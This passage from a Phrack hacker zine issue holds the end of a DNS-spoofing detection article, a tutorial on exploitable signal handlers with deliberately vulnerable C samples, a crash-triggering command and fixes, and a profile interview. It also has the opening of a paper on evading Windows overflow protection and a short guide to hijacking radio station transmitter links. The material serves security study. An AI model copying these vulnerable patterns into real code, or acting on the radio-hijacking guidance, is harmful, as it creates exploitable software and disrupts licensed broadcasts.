spoofing attacks on the Internet since the initial transaction ID value
was unpredictable, and the first DNS request would typically be answered
resulting in no need for retransmissions.
The iptables firewall on the Linux computer was configured so that the
only allowed UDP traffic was to/from port 53 of the legitimate DNS server.
When a DNS query was performed and a DNS reply was received, iptables was
unable to block extra (spoofed) incoming DNS replies since it is not
designed to inspect DNS traffic and allow one incoming DNS reply per
outgoing DNS request. However, since the port used to send the DNS query
was closed once a valid DNS reply was received, ICMP port unreachable
messages were generated for the extra (spoofed) incoming DNS replies.
iptables was configured to block and log outgoing ICMP network traffic.
Reviewing the logs revealed ICMP port unreachable messages that were
destined to the legitimate DNS server, which were a good indication of a
DNS spoofing attack. Further to this evidence of a DNS spoofing attack,
since the DNS replies must come from port 53, analysis of the network
traffic using a packet dissector such as Ethereal revealed traffic that
looked like DNS replies apparently originating at the legitimate DNS
server.
--[ 8 - Conclusion
The RFC guidelines simplify DNS spoofing attacks against DNS client
resolvers since the attacker does not require information such as the IP
address of the potential victim's DNS server or the contents of DNS
queries sent by the potential victim. Microsoft Windows XP is more
susceptible to DNS spoofing attacks than Linux due to its poor
implementation of the RFC guidelines. Further simplifying DNS spoofing
attacks are Windows XP's inadequate matching of DNS requests to DNS
replies, and the predictable port number and transaction ID values -
behaviour that could be changed without violating the RFC guidelines.
Evidence of DNS spoofing attacks is minimised by the ability to disguise
DNS replies as NetBIOS traffic, the lack of configuration granularity and
traffic inspection of some firewalls, and Windows XP's failure to generate
ICMP error messages for excessive DNS replies.
RFC 791 (Internet Protocol) stating that a program must be "liberal in its
receiving behavior" and "must accept any datagram that it can interpret"
may have been acceptable in 1981 when the RFC was created and
interoperability was more important than security. However, the Internet
has changed from a somewhat trustworthy user base of representatives from
educational institutions and the US Department of Defense to now include
hackers and scammers, making security a high profile consideration.
Perhaps it is time for software based on this outdated perception of the
Internet to be changed as well.
The Internet community continues to wait for widespread adoption of
cryptographic digital signatures used to authenticate DNS transactions,
as discussed in RFC 2535 (Domain Name System Security Extensions). In the
meantime, the threat of DNS spoofing attacks could be minimised by
Microsoft improving the DNS implementation in all of their affected
operating systems. Such improvements include using random transaction ID
values, checking that the name in a DNS reply matches the name to be
resolved in the DNS request, and using a random source port for DNS
requests. These improvements would make attacks against DNS client
resolvers significantly more difficult to perform, and such improvements
would not violate the RFC guidelines.
|=----------------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
########################################
# Injecting signals for Fun and Profit #
########################################
by shaun2k2 <shaunige@yahoo.co.uk>
--[ 1 - Introduction
More secure programming is on the rise, eliminating more generic program
exploitation vectors, such as stack-based overflows, heap overflows and symlink
bugs. Despite this, subtle vulnerabilities are often overlooked during code
audits, leaving so-called "secure" applications vulnerable to attack, but in a
less obvious manner. Secure design of signal-handlers is often not considered,
but I believe that this class of security holes deserves just as much attention
as more generic classes of bugs, such as buffer overflow bugs.
This paper intends to discuss problems faced when writing signal-handling
routines, how to exploit the problems, and presents ideas of how to avoid such
issues. A working knowledge of the C programming language and UNIX-like
operating systems would benefit the reader greatly, but is certainly not
essential.
--[ 2 - Signal Handling: An Overview
To understand what signal handlers are, one must first know what exactly a
signal is. In brief, signals are notifications delivered to a process to alert
the given process about "important" events concerning itself. For example,
users of an application can send signals using common keyboard Ctrl
combinations, such as Ctrl-C - which will send a SIGINT signal to the given
process.
Many different signals exist, but some of the more common (or useful) ones are:
SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist,
however. A list of available signals, according to the POSIX.1 standard,
can be found in the unix manual page signal(7).
It is worth noting that the signals SIGKILL and
SIGSTOP cannot be handled, ignored or blocked. Their 'action' can
not be changed.
"What are signal handlers", one might ask. The simple answer is that signal
handlers are small routines which are typically called when a pre-defined
signal, or set of signals, is delivered to the process it is running under
before the end of program execution - after execution flow has been directed to
a signal handling function, all instructions within the handler are executed in
turn. In larger applications, however, signal handling routines are often
written to complete a more complex set of tasks to ensure clean termination of
the program, such as; unlinking of tempory files, freeing of memory buffers,
appending log messages, and freeing file descriptors and/or sockets. Signal
handlers are generally defined as ordinary program functions, and are then
defined as the default handler for a certain signal usually near to the
beginning of the program.
Consider the sample program below:
--- sigint.c ---
#include <stdio.h>
#include <signal.h>
void sighndlr() {
printf("Ctrl-C caught!\n");
exit(0);
}
int main() {
signal(SIGINT, sighndlr);
while(1)
sleep(1);
/* should never reach here */
return(0);
}
--- EOF ---
'sigint.c' specifies that the function 'sighndlr' should be given control of
execution flow when a SIGINT signal is received by the program. The program
sleeps "forever", or until a SIGINT signal is received - in which case the
"Ctrl-C caught!" message is printed to the terminal - as seen below:
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# ./test
[... program sleeps ...]
Ctrl-C caught!
[root@localhost shaun]#
--- EOF ---
Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C
combination at the keyboard, but a SIGINT signal can be generated by the
kill(1) utility.
However simple or complex the signal handler is, there are several potential
pitfalls which must be avoided during the development of the handler. Although
a signal handler may look "safe", problems may still arise, but may be
less-obvious to the unsuspecting eye. There are two main classes of problems
when dealing with signal-handler development - non-atomic process
modifications, and non-reentrant code, both of which are potentially critical
to system security.
--[ 3 - Non-atomic Modifications
Since signals can be delivered at almost any moment, and privileges often need
to be maintained (i.e root privileges in a SUID root application) for obvious
reasons (i.e for access to raw sockets, graphical resources, etc), signal
handling routines need to be written with extra care. If they are not, and
special privileges are held by the process at the particular time of signal
delivery, things could begin to go wrong very quickly. What is meant by
'non-atomic' is that the change in the program isn't permanant - it will
just be in place temporarily. To illustrate this, we will discuss a sample
vulnerable program.
Consider the following sample program:
--- atomicvuln.c ---
#include <stdio.h>
#include <signal.h>
void sighndlr() {
printf("Ctrl-C caught!\n");
printf("UID: %d\n", getuid());
/* other cleanup code... */
}
int showuid() {
printf("UID: %d\n", getuid());
return(0);
}
int main() {
int origuid = getuid();
signal(SIGINT, sighndlr);
setuid(0);
sleep(5);
setuid(origuid);
showuid();
return(0);
}
--- EOF ---
The above program should immediately spark up any security concious
programmer's paranoia, but the insecurity isn't immediately obvious
to everyone. As we can see from above, a signal handler is declared for
'SIGINT', and the program gives itself root privileges (so to speak). After
a delay of around five seconds, the privileges are revoked, and the
program is exited with success. However, if a SIGINT signal is received,
execution is directed to the SIGINT handler, 'sighdlr()'.
Let's look at some sample outputs:
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# chmod +s test
[root@localhost shaun]# exit
exit
[shaun@localhost shaun]$ ./test
[... program sleeps 5 seconds ...]
UID: 502
[shaun@localhost shaun]$ ./test
[... CTRL-C is typed ...]
Ctrl-C caught!
UID: 0
UID: 502
[shaun@localhost shaun]$
--- EOF ---
If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output
should make things obvious; since the signal handling routine, 'sighdlr()', was
called when root privileges were still possessed, the friendly printf()
statements kindly tell us that our privileges are root (assuming the binary is
SUID root). And just to prove our theory, if we simply allow the program to
sleep for 5 seconds without sending an interrupt, the printf() statement kindly
tells us that our UID is 502 - my actual UID - as seen above.
With this, it is easy to understand where the flaw lies; if program execution
can be interrupted between the time when superuser privileges are given,
and the time when superuser privileges are revoked, the signal handling
code *will* be ran with root privileges. Just imagine - if the signal
handling routine included potentially sensitive code, compromisation of
root privileges could occur.
Although the sample program isn't an example of privilege escalation, it at
least demonstrates how non-atomic modifications can present security issues
when signal handling is involved. And do not assume that code similar to the
sample program above isn't found in popular security critical applications in
wide-spread use - it is. An example of vulnerable code similar to that of
above which is an application in wide-spread use, see [1] in the bibliography.
Non-reentrant Code
###################
Although it may not be obvious (and it's not), some glibc functions just
weren't designed to be reentered due to receipt of a signal, thus causing
potential problems for signal handlers which use them. An example of such a
function is the 'free()' function. According to 'free()'s man page, free()
"frees the memory space pointed to by ptr, which must have been
returned by a previous call to malloc(), calloc() or realloc(). Other-
wise, or if free(ptr) has already been called before, undefined
behaviour occurs. If ptr is NULL, no operation is performed."
As the man page snippet claims, free() can only be used to release memory which
was allocated using 'malloc()', else "undefined behavior" occurs. More
specifically, or in usual cases, the heap is corrupted, if free() is called on
a memory area which has already been free()d. Because of this implementation
design, reentrant signal routines which use 'free()' can be attacked.
Consider the below sample vulnerable program:
--- reentry.c ---
#include <stdio.h>
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *data1, *data2;
char *logdata;
void sighdlr() {
printf("Entered sighdlr()...\n");
syslog(LOG_NOTICE,"%s\n", logdata);
free(data2);
free(data1);
sleep(10);
exit(0);
}
int main(int argc, char *argv[]) {
logdata = argv[1];
data1 = strdup(argv[2]);
data2 = malloc(340);
signal(SIGHUP, sighdlr);
signal(SIGTERM, sighdlr);
sleep(10);
/* should never reach here */
return(0);
}
--- EOF ---
The above program defines a signal handler which frees allocated heap memory,
and sleeps for around 10 seconds. However, once the signal handler has been
entered, signals are not blocked, and thus can still be freely delivered. As
we learnt above, a duplicate call of free() on an already free()d memory area
will result in "undefined behavior" - possibly corruption of the heap memory.
As we can see, user-defined data is taken, and syslog() is also called fromo
the sig handler function - but how does syslog() work? 'syslog()' creates a
memory buffer stream, using two malloc() invokations - the first one allocates
a 'stream description structure', whilst the other creates a buffer suitable
for the actual syslog message data. This basis is essentially used to maintain
a tempory copy of the syslog message.
But why can this cause problems in context of co-usage of non-reentrant
routines? To find the answer, let's experiment a little, by attempting to
exploit the above program, which happens to be vulnerable.
--- output ---
[shaun@localhost shaun]$ ./test `perl -e 'print
"a"x100'` `perl -e 'print
"b"x410'` & sleep 1 ; killall -HUP test ; sleep 1 ;
killall -TERM test
[1] 2877
Entered sighdlr()...
Entered sighdlr()...
[1]+ Segmentation fault (core dumped) ./test
`perl -e 'print "a"x100'`
`perl -e 'print "b"x410'`
[shaun@localhost shaun]$ gdb -c core.2877
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `./test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x4008e9bb in ?? ()
(gdb) info reg
eax 0x61616161 1633771873
ecx 0x40138680 1075021440
edx 0x6965fa38 1768290872
ebx 0x4013c340 1075036992
esp 0xbfffeccc 0xbfffeccc
ebp 0xbfffed0c 0xbfffed0c
esi 0x80498d8 134519000
edi 0x61616160 1633771872
eip 0x4008e9bb 0x4008e9bb
eflags 0x10206 66054
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
fctrl 0x0 0
fstat 0x0 0
ftag 0x0 0
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
---Type <return> to continue, or q <return> to quit---
fop 0x0 0
xmm0 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm1 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm2 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm3 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm4 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm5 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm6 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm7 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
mxcsr 0x0 0
orig_eax 0xffffffff -1
(gdb) quit
[shaun@localhost shaun]$
--- EOF ---
Interesting. As we can see above, our large string of 'a's has found its way
into several program registers on stack - EAX and EDI. From this, we can
assume we are witnessing the "undefined behavior" we discussed earlier, when
the signal handler is reentered.
When the sample vulnerable program receives the second signal (SIGTERM), since
signals are not being ignored, the signal handler is reentered to handle this
second signal, causing something to go very wrong.
But why is this happening?
Since the second memory region (*data2) was free()d during the first entry of
the signal handler, syslog() re-uses this released memory for its own
purposes - storing its syslog message, because as the short syslog()
explanation above stated, two malloc() calls are present in most syslog()
implementations, and thus it re-uses the newly free()d memory - *data2.
After the usage of the memory once held as data2 by syslog(), a second
'free()' call is made on the memory region, because of reentry of the signal
handler function. As the free(3) man page stated, undefined behavior *will*
occur if the memory area was already free()d, and we happen to know that this
was the case. So when 'free()' was called again on *data2, free() landed
somewhere in the area containing the 'a's (hence 0x61 in hex), because
syslog() had re-used the freed area to store the syslog message, temporarily.
As the GDB output above illustrates, as long as user-input is used by
'syslog()' (and it is in this case), we have some control over the program
registers, when this "undefined behavior" (corruption of heap in most
cases) occurs. Because of this ability, exploitation is most likely a
possibility - it is left as an exercise to the reader to play with this sample
vulnerable program a little more, and determine if the vulnerability is
exploitable.
For the interested reader, 'free()' is not the only non-reentrant glibc
function. In general, it can be assumed that all glibc functions which are NOT
included within the following list are non-reentrant, and thus are not safe to
be used in signal handlers.
--
_exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3),
cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2),
close(2), creat(3), dup(2), dup2(2), execle(3), execve(2),
fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2),
geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2),
getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2),
mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3),
read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2),
setuid(2), sigaction(2), sigaddset(3), sigdelset(3),
sigemptyset(3), sigfillset(3), sigismember(3), signal(3),
sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2),
sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3),
tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3),
tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2),
utime(3), wait(2), waitpid(2), write(2)."
--
Secure Signal Handling
#######################
In general, signal handling vulnerabilities can be prevented by
--
1) Using only reentrant glibc functions within signal handlers -
This safe-guards against the possibility of "undefined behavior" or otherwise
as presented in the above example. However, this isn't *always* feasible,
especially when a programmers needs to accomplish tasks such as freeing
memory.
Other counter-measures, in this case, can protect against this. See below.
2) ignoring signals during signal handling routines -
As the obvious suggests, this programming practice will indefinately prevent
handling of signals during the execution of signal handling routines, thus
preventing signal handler reentry.
Consider the following signal handler template:
--- sighdlr.c ---
void sighdlr() {
signal(SIGINT, SIG_IGN);
signal(SIGABRT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* ...ignore other signals ... */
/* cleanup code here */
exit(0);
}
--- EOF ---
As we can see above, signals are blocked before doing anything else in the
signal handling routine. This guarantees against signal handler reentry (or
almost does).
3) Ignoring signals whilst non-atomic process modifications are in place -
This involves blocking signals, in a similar way to the above code snippet,
during the execution of code with non-atomic modifications in place, such as
code execution with superuser privileges.
Consider the following code snippet:
--- nonatomicblock.c ---
/* code exec with non-atomic process modifications
starts here... */
signal(SIGINT, SIG_IGN);
signal(SIGABRT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* block other signals if desired... */
setuid(0);
/* sensitive code here */
setuid(getuid());
/* sensitive code ends here */
signal(SIGINT, SIG_DFL);
signal(SIGABRT, SIG_DFL);
signal(SIGHUP, SIG_DFL);
/* ...code here... */
--- EOF ---
Before executing privileged code, signals are blocked. After execution of the
privileged code, privileges are dropped, and the signal action is set back to
the default action.
There are probably more ways of preventing signal vulnerabilities, but the
three above should be enough to implement semi-safe signal handlers.
Conclusion
###########
I hope this paper has at least touched upon possible problems encountered when
dealing with signals in C applications. If nothing else can be taken away from
this paper, my aim is to have outlined that secure programming practices should
always be applied when implementing signal handlers.
Full stop. Remember this.
If I have missed something out, given inaccurate information, or otherwise,
please feel free to drop me a line at the email address at the top of the
paper, providing your comments are nicely phrased.
Recommended reading is presented in the Bibliography below.
Bibliography
#############
Recommended reading material is:
--
"Delivering Signals for Fun and Profit" -
http://razor.bindview.com/publish/papers/signals.txt,
Michal Zalewski. Michal's
paper was a useful resource when writing this paper, and many ideas were gained
from this paper. Thanks Michal.
"Introduction To Unix Signals Programming" -
http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html,LUGPs.
"Procmail insecure signal handling vulnerability" -
http://xforce.iss.net/xforce/xfdb/6872
"Traceroute signal handling vulnerability" -
http://lwn.net/2000/1012/a/traceroute.php3
"signal(2) man page" -
http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man2/signal.2.html&srch=signal
"signal(7) man page" -
http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man7/signal.7.html&srch=signal
--
Greets
#######
Greets to:
--
Friends at HDC (or former HDC members), excluded.org,
#hackcanada, all @ GSO,
rider (happy be-lated birthday!).
All the other great people that I have met online.
--
Thanks guys.
Thank you for your time.
Shaun.
|=----------------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
|=------------------=[ Pirating A Radio Station ]=----------------------=|
by j kuinga" <kuinga@hotmail.com>
At many Radio Stations to cut costs they now do what is called "central
casting." This is where many feeds are produced from one building and
handled by a group of engineers.
Why is this important? You could, disrupt the broadcast from the Central
Site, to the tower site, and ??create?? your own programming, without the
hassles of buying a transmitter, getting the FCC licensing, and that type
of thing. We're showing you two different ways to have some fun--by
interrupting remote broadcasts, and by overtaking the radio station.
Radio Stations typically have ??Marti??s?? which are mini-transmitters, and
Marti Repeaters, typically in the 425-455 MHz Range. Some Ham Transmitters
will work in this range, and if not, check your local radio surplus store.
Marti??s are typically used to rebroadcast High School Football and
basketball games, as well as commercial "live events" and it??s something as
simple as over-powering the signal, in order to get your message through.
Be forewarned, there typically is a live person on the other end of that
transmitter?Xthey??re probably not paying attention, because they??re
getting paid $5.50/hour?Xbut, they have they ability to turn you off.
How to find the frequency? Well, you could always SE the engineer at the
station and ask, however, most of them are grumpy old radio buffs, so you
might not get anywhere. I suggest a good copy of ??Police Call,?? which has
a LOT of frequencies in there for things like radio stations.
I use a home-made setup for finding particular frequencies out. Having some
essential tools like a good, directional antenna, frequency counter, and
very accurate transmitter, along with breadboard and essential components,
typically are common in finding what you need to know. I also drive a Big
White Van, complete with Mast and Bucket, so I can optimally 'place' the
antenna at the right height and direction, that I obtained at a school
auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a
nice generator)
Most Radio Stations doing this have what they call a ??STL,?? or Studio to
Transmitter Link. This is typically in the 800 or 900 Mhz range, and the
same, general ideas apply. You find the general direction in which the
antenna is pointed, then you overpower the signal. Since you
(idealistically) would be within a few miles of the transmitter, not 30 or
50 miles like the Central-Casting spot, you would overpower the transmitter,
and start your own pirate radio station. Most stations however, have an
??Air?? monitor, and can turn the remote transmitter off by pressing a
button on their STL. However, if you??re closer to it, you??ve got control
until the station engineer comes down to manually pull the plug on your
transmitter.
If you see black vans with antennas and they look like they're doing sweeps,
chances are, they're either a) with the audit crew of the local cable
company, or b) looking for your ass.
kuinga@hotmail.com
|=[ EOF ]=---------------------------------------------------------------=|
phrack.org:~# cat .bash_history
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10
|=---------------=[ P R O P H I L E O N S C U T ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
|=---=[ Specification
Handle: scut
AKA: "The Tower"
Handle origin: Result of spelling "SCUD rocket" as a 12 year
old when making up a handle
catch him: by email scut@segfault.net
Age of your body: 23
Produced in: West Germany
Height & Weight: 198cm, 85kg
Urlz: segfault.net/~scut/
Computers: COTS, anything goes ;)
Member of: TESO
Projects: exploitation methods, low level architecture
wrangling, code analysis and transformation
|=---=[ Favorite things
Women: intelligent, humorous, self-confident and caring
Cars: BMW = fast, functional and reliable
Foods: Chinese, German cake
Alcohol: Mixed drinks (Tequila + *), white wine
Music: U2, 60-70'ies, ambient, new age
Movies: Leon, Matrix
Books & Authors: I dislike fiction, various scientific books
Urls: phrack.org/ ;-), citeseer.ist.psu.edu/directory.html
I like: digging some problem to the deepest level
I dislike: unjustified authorities, arrogance, ignorance
|=---=[ Life in 3 sentences
Born 1980, I just lived a normal peaceful life in Germany. Finished school,
high school quite well, went to the military service, started studying.
Currently I am studying abroad and thats possibly the most exciting experience
so far ;-)
|=---=[ Passions | What makes you tick
To create. In anything I do, I enjoy creating something and deepen my
understanding of it. Somehow, however, I lose interest as soon as I think I
could understand something completely, but that it would take too much effort.
|=---=[ Which research have you done or which one gave you the most fun?
Looking back on the few things I have done, I think it was always fun to
tickle people intellectually. The most fun was writing burneye, a simple
runtime binary encryption program. I learned lots while doing it and it had
some minor impact aswell. Also I wrote a paper about format string
vulnerabilities. This was fun to write and back at that time everybody was
very curious about this newly discovered class of security vulnerabilities.
The basic work was already done and it was fun just to make a few steps
further. While its always the case that you have to base your work on someone
else's, sometimes you get the feeling of doing something truly new or
creative. Then, its always fun.
|=---=[ Memorable Experiences
CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots
of fun together. Meeting interesting people, such as some of the ADM folks.
All the CCC congresses and all the fun that comes with them: friends, beer,
and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.
|=---=[ Quotes
"The purpose of computing is insight, not numbers." - Richard W. Hamming
|=---=[ Open Interview - General boring questions
Q: When did you start to play with computers?
A: Due to my father working in the computing field I was lucky to first tap
some keys at the age of six, around 1985. First hooked up through games I
quickly liked the idea to control the machine myself and was fascinated to
write my first BASIC program on the C64 when I was nine. This fascination has
not decreased ever since, though the languages and computers changed a lot ;-)
Q: When did you had your first contact to the 'scene'?
A: As many of todays people in the hacking scene, the natural path leads
through the warez and cracking realms. In 1995 I was browsing some BBS's and
thats how I was drawn into that scene. Then, in the following two years, I
moved away from Windows/Warez to more Linux/Programming, and more or less by
end of 1997 I was completely into this thing.
Q: When did you for your first time connect to the internet?
A: Through the German Telekom BTX internet gateway, that must have been 1995.
Q: What other hobbies do you have?
A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other
sports, having fun with friends. Learning Chinese.
Q: ...and how long did it take until you joined irc? Do you remember
the first channel you joined?
A: #warez.de in 1996 on IrcNet.
Q: What's your architecture / OS of choice?
A: IA32 with Debian/sid. Its constantly updated, the packagers know their
stuff and its a system by and for developers. I love it.
|=---=[ Open Interview - More interesting questions
Q: Who founded TESO and what's the meaning of the name?
A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian
hackers.
Q: What's TESO up to these days?
A: I would like to describe us as not active anymore. There are a couple of
reasons for this. One is the natural shift of interest of members, such as
when growing up and having a daytime job. But more importantly, the most
previously most active members do not release their work under the TESO label
anymore. Sometime ago, we also had internal trust problems where we did not
know who leaked our internal stuff. This lead to general distrust and some
developing stopped or slowed due to that. Sad thing.
Q: You have helped phrack in many occasions. What do you think about Phrack?
What suggestions do you have for phrack?
A: I think phrack is the single best starting point for anyone seriously
interested in learning how to become a real low level hacker. One could start
ten issues in the past and gradually sharpen the skills to almost the today's
cutting edge. The style, quality and focus of the articles is very diverse and
always makes for an interesting read.
In the past year, Phrack started to work closer with the authors of the
articles to produce higher quality articles for the readers. This is a great
idea! Maybe further steps into this direction could follow.
For the article topics, I personally would like to see more articles on
upcoming technologies to exploit, such as SOAP, web services, .NET, etc.
Q: What are you up to these days? How has the scene-life influenced your
lifestyle, goals and personality?
A: Nowadays, I am more of a computer science student than a scene member. The
scene did not change me so much. Its a great place to meet intelligent people
and to discuss new ideas.
Q: You have been in the scene for quite a while. If you look back, what
was the worst thing that happened to the scene? What was the best
that happened?
A: The worst was a bad long term development with an even worse backlash: the
commercialization of the network security field. When the Internet really
boomed, everybody was out to make a buck from selling security related
products and services. A lot of former hackers "sold out". While its their
personal choice to work in the security business and such business is not
necessarily evil, for the scene it wasn't all that great.
The worse result has been the gap between once united hackers. Some people
drew a more or less arbitrary line of black-/whitehatism and started dividing
the scene even further. The result you can see nowadays is that there are some
separated groups in the scene piling up non public knowledge, while the "entry
level skill" required to really be in the scene is increased and less people
get into the scene. Those knowledgeable groups still have "whitehats" among
their members, but nobody cares, because for the group it just works well and
everybody within wins. On a wider scale, everybody loses and the cooperation
and development of really creative new stuff is slowed and the scene shrinks.
Fresh talented people wanting to get into the scene have no choice but to
found their own teams.
The best thing for the scene were and still are the hacker events organized
all around the world. They are a great contact point of the hackers and to the
outside world.
Q: If you could turn the clock backwards, what would you do different
in your young life ?
A: Be more relaxed about people posting my stuff although I did not wanted it
to be public. It just caused trouble for everybody and in the end its more
a fault on my side than on theirs.
=---=[ One word comments
[give a 1-word comment to each of the words on the left]
IRC : timeconsumptive
TESO : dreamteam
ADM : pioneers
Hacker meetings : melting-pot
Whitehats : do not always wear white hats
Blackhats : do not always wear black hats
|=---=[ Please tell our audience a worst case scenario into what the scene
might turn into.
The extension to the bad development that already took place and I described
in an earlier answer would include more company driven actions and sell outs.
Possibly the worst long term thing for the scene would be a decrease in the
scene's lose "infrastructure", such as magazines and conferences. This could
be the result of stricter laws against hackers and already takes place in some
countries. Imagine if the typical hacker conferences would be outlawed or
strictly observed. Imagine when magazines such as Phrack would be shutdown.
Imagine if groups like THC and websites like Packetstorm would be shutdown.
That would be a bad development.
|=---=[ And if everything works out fine? What's the best case scenario
you can imagine?
The scene would be driven by discussions, new inventions, creative hacking
stunts and a large number social events. Hackers would stick closer together,
yet share more of their work, yet allowing newcomers to learn. People would
not crawl for fame on mailing lists but would honestly respect each other.
To archieve this ideal, things that unite all hackers have to be valued
more. All hackers share the enthusiasm for technology and creativity.
Creativity is seldomly the result of sitting alone in a locked down room, but
quite the opposite the result of many diverse ideas and discussions among
intelligent people. If the environment hackers interact with each others in
permits for exchange of ideas without getting ripped off by companies or other
hackers, this would result in a great scene.
|=---=[ Any suggestions/comments/flames to the scene and/or specific people?
I think some young talents are really doing a great job. Keep going!
|=---=[ Shoutouts & Greetings
hendy, for being a long time trustable, reliable and humorous friend.
stealth, die andere Nase, for intellectual challenges and always coming up
with really cool stuff.
Halvar, skyper, gamma for making the hacker events real fun and organizing
everything.
lorian, for being a smart guy.
acpizer, for his wisdom and stubborness.
The folks at THC and ADM for doing really cool stuff.
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10
|=-----------------------------------------------------------------------=|
|=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ anonymous <p62_wbo_a@author.phrack.org ]=-------------=|
|=--------------=[ Jamie Butler <james.butler@hbgary.com> ]=-------------=|
|=--------------=[ anonymous <p62_wbo_b@author.phrack.org ]=-------------=|
--[ Contents
1 - Introduction
2 - Stack Backtracing
3 - Evading Kernel Hooks
3.1 - Kernel Stack Backtracing
3.2 - Faking Stack Frames
4 - Evading Userland Hooks
4.1 - Implementation Problems - Incomplete API Hooking
4.1.1 - Not Hooking all API Versions
4.1.2 - Not Hooking Deeply Enough
4.1.3 - Not Hooking Thoroughly Enough
4.2 - Fun With Trampolines
4.2.1 Patch Table Jumping
4.2.2 Hook Hopping
4.3 - Repatching Win32 APIs
4.4 - Attacking Userland Components
4.4.1 IAT Patching
4.4.2 Data Section Patching
4.5 - Calling Syscalls Directly
4.6 - Faking Stack Frames
5 - Conclusions
--[ 1 - Introduction
Recently, a number of commercial security systems started to offer
protection against buffer overflows. This paper analyzes the protection
claims and describes several techniques to bypass the buffer overflow
protection.
Existing commercial systems implement a number of techniques to protect
against buffer overflows. Currently, stack backtracing is the most popular
one. It is also the easiest to implement and the easiest to bypass.
Several commercial products such as Entercept (now NAI Entercept) and
Okena (now Cisco Security Agent) implement this technique.
--[ 2 - Stack Backtracing
Most of the existing commercial security systems do not actually prevent
buffer overflows but rather try to attempt to detect the execution of
shellcode.
The most common technology used to detect shellcode is code page
permission checking which involves checking whether code is executing on
a writable page of memory. This is necessary since architectures such as
x86 do not support the non-executable memory bit.
Some systems also perform additional checking to see whether code's page
of memory belongs to a memory mapped file section and not to an anonymous
memory section.
[-----------------------------------------------------------]
page = get_page_from_addr( code_addr );
if (page->permissions & WRITABLE)
return BUFFER_OVERFLOW;
ret = page_originates_from_file( page );
if (ret != TRUE)
return BUFFER_OVERFLOW;
[-----------------------------------------------------------]
Pseudo code for code page permission checking
Buffer overflow protection technologies (BOPT) that rely on stack
backtracing don't actually create non-executable heap and stack segments.
Instead they hook the OS and check for shellcode execution during the
hooked API calls.
Most operating systems can be hooked in userland or in kernel.
Next section deals with evading kernel hooks, while section 4 deals with
bypassing userland hooks.
--[ 3 - Evading Kernel Hooks
When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must
be able to detect where a userland API call originated. Due to
the heavy use of kernel32.dll and ntdll.dll libraries, an API call is
usually several stack frames away from the actual syscall trap call.
For this reason, some intrusion preventions systems rely on using stack
backtracing to locate the original caller of a system call.
----[ 3.1 - Kernel Stack Backtracing
While stack backtracing can occur from either userland or kernel, it is
far more important for the kernel components of a BOPT than its userland
components. The existing commercial BOPT's kernel components rely entirely
on stack backtracing to detect shellcode execution. Therefore, evading a
kernel hook is simply a matter of defeating the stack backtracing
mechanism.
Stack backtracing involves traversing stack frames and verifying that the
return addresses pass the buffer overflow detection tests described above.
Frequently, there is also an additional "return into libc" check, which
involves checking that a return address points to an instruction
immediately following a call or a jump. The basic operation of stack
backtracing code, as used by a BOPT, is presented below.
